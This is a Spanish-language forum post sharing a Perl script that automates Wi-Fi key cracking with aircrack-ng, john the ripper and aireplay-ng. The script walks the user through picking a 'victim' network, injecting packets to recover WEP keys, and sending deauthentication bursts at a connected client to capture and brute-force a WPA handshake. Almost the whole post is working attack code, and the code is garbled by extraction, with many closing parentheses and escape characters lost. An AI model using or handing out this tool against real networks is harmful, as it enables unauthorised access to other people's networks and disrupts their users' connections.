aka12

Este post va para DARK SPARK el tio a programado este script para facilitarnos la vida mejor dicho Es una joya nada k hacer...hay va --------------------------------------------------------------------------------------------------------------------------------------------------- DARK SPARK bueno pues les dejo este pequeño code para automatizar el uso de aircrack funciones: crack WEP crack WPA bruteforce ( sin diccionario) requerimientos comentar o descomentar las lineas indicadas en el code john the ripper aircrack (logicamente ) dijo: #!/usr/bin/perl system ("mkdir autowifi"; system ("clear"; system ("wlanconfig ath0 destroy";# comentar esta linea si tu tarjeta no es atheros system ("wlanconfig ath0 create wlandev wifi0 wlanmode monitor";# comentar esta linea si tu tarjeta no es atheros print "******************************************n"; print "* AUTOWIFI 2 BY DarkSpark *n"; print "******************************************n"; sleep (2); system ("clear"; print "seleccione la interfazn"; sleep (3); system ("iwconfig"; $inter = <STDIN>; chomp ($inter); system ("clear"; #system ("iwconfig $inter mode monitor"; # descomentar si tu tarjeta no es atheros print " copie y pege la mac adress o HWaddr la interfaz n"; print " (12 digitos)n"; sleep (3); system ("ifconfig $inter"; $mimac = <STDIN>; chomp ($mimac); system ("clear"; menu: system ("clear"; print "seleccione una opcionnnnn"; print "[1] sacar clave WEPn"; print "[2] sacar clave WPAn"; print "[3] salirn"; $ataque = <STDIN>; system ("clear"; if ( $ataque == 1 ) { print " espere a ver las redes disponibles y presione Ctrl+C para continuarn"; sleep (4); system ("airodump-ng $inter"; print " seleccione el canal de la red victiman"; $can=<STDIN>; chomp ($can); print " ncopie y pegue el nombre de la red (ESSID)n"; $essid=<STDIN>; chomp ($essid); print " ncopie y pegue la mac adress de la red (BSSID)n"; $bssid=<STDIN>; chomp ($bssid); $canal = "-c $can"; $arch = "-w wep"; $ess = "-e $essid"; $bss = "-a $bssid"; $bss1 = "-b $bssid"; $mac = "-h $mimac"; system ("cd autowifi ; konsole -e airodump-ng $canal $arch $inter & "; system ("clear"; system ("cd autowifi ; konsole -e aireplay-ng -1 0 $ess $bss $mac $inter "; sleep (15); system ("clear"; system ("cd autowifi ; konsole -e aireplay-ng -3 -x 1024 $bss1 $mac $inter &"; system ("clear"; sleep (20); system ("cd autowifi ; aircrack-ng $bss1 wep-01.cap"; system ("killall airodump-ng"; system ("killall aireplay-ng"; print "copie y guarde la contraseña y presione ENTER para continuarn"; $cont = <STDIN>; system ("cd autowifi ; rm *"; goto menu; } elsif ( $ataque == 2 ) { print " espere a ver las redes disponibles, los clientes conectados a la red victiman"; print " y presione Ctrl+C para continuarn"; sleep (4); system ("airodump-ng $inter"; print " seleccione el canal de la red victiman"; $can=<STDIN>; chomp ($can); print " ncopie y pegue el nombre de la red (ESSID)n"; $essid=<STDIN>; chomp ($essid); print " ncopie y pegue la mac adress de la red (BSSID)n"; $bssid=<STDIN>; chomp ($bssid); print " ncopie y pege la mac adress del cliente (STATION) asociado n"; print " al BSSID que acaba de introducir n"; $cliente = <STDIN>; chomp ($cliente); $cli = " -c $cliente"; $canal = "-c $can"; $arch = "-w wpa"; $ess = "-e $essid"; $bss = "-a $bssid"; $bss1 = "-b $bssid"; $mac = "-h $mimac"; system ("cd autowifi ; konsole -e airodump-ng $canal $arch $inter & "; system ("clear"; sleep (5); system ("cd autowifi ; konsole -e aireplay-ng -0 30 $ess $bss $cli $inter &"; sleep (5); system ("cd autowifi ; john -incremental=ALL --stdout=8 | aircrack-ng -a 2 -w - $ess wpa-01.cap"; system ("killall airodump-ng"; system ("killall aireplay-ng"; print " copie y guarde el password y presione ENTER para continuarn"; $cont1 = <STDIN>; system ("cd autowifi ; rm *"; goto menu; } else { system ("rm -r autowifi"; system ("wlanconfig $inter destroy"; system ("wlanconfig ath0 create wlandev wifi0 wlanmode managed";#comentar esta linea si tu tarjeta no es atheros #system ("iwconfig $inter mode managed"; # descomentar si tu tarjeta no es atheros system ("clear"; exit } ---------------------------------------------------------------------------------------------------------------------------------------------------- visiten su blog para mas informacion: http://darkspark.diosdelared.com/index.php?coment=594 Tambien iso un video para su xplicacion y la demostracion: link: http://www.videos-star.com/watch.php?video=H7rcsa6yHGY Desde Mexico & Peru para todos P.D.: Agradecer no cuesta nada px comenten........unos puntines no me vendrian mal para ser full user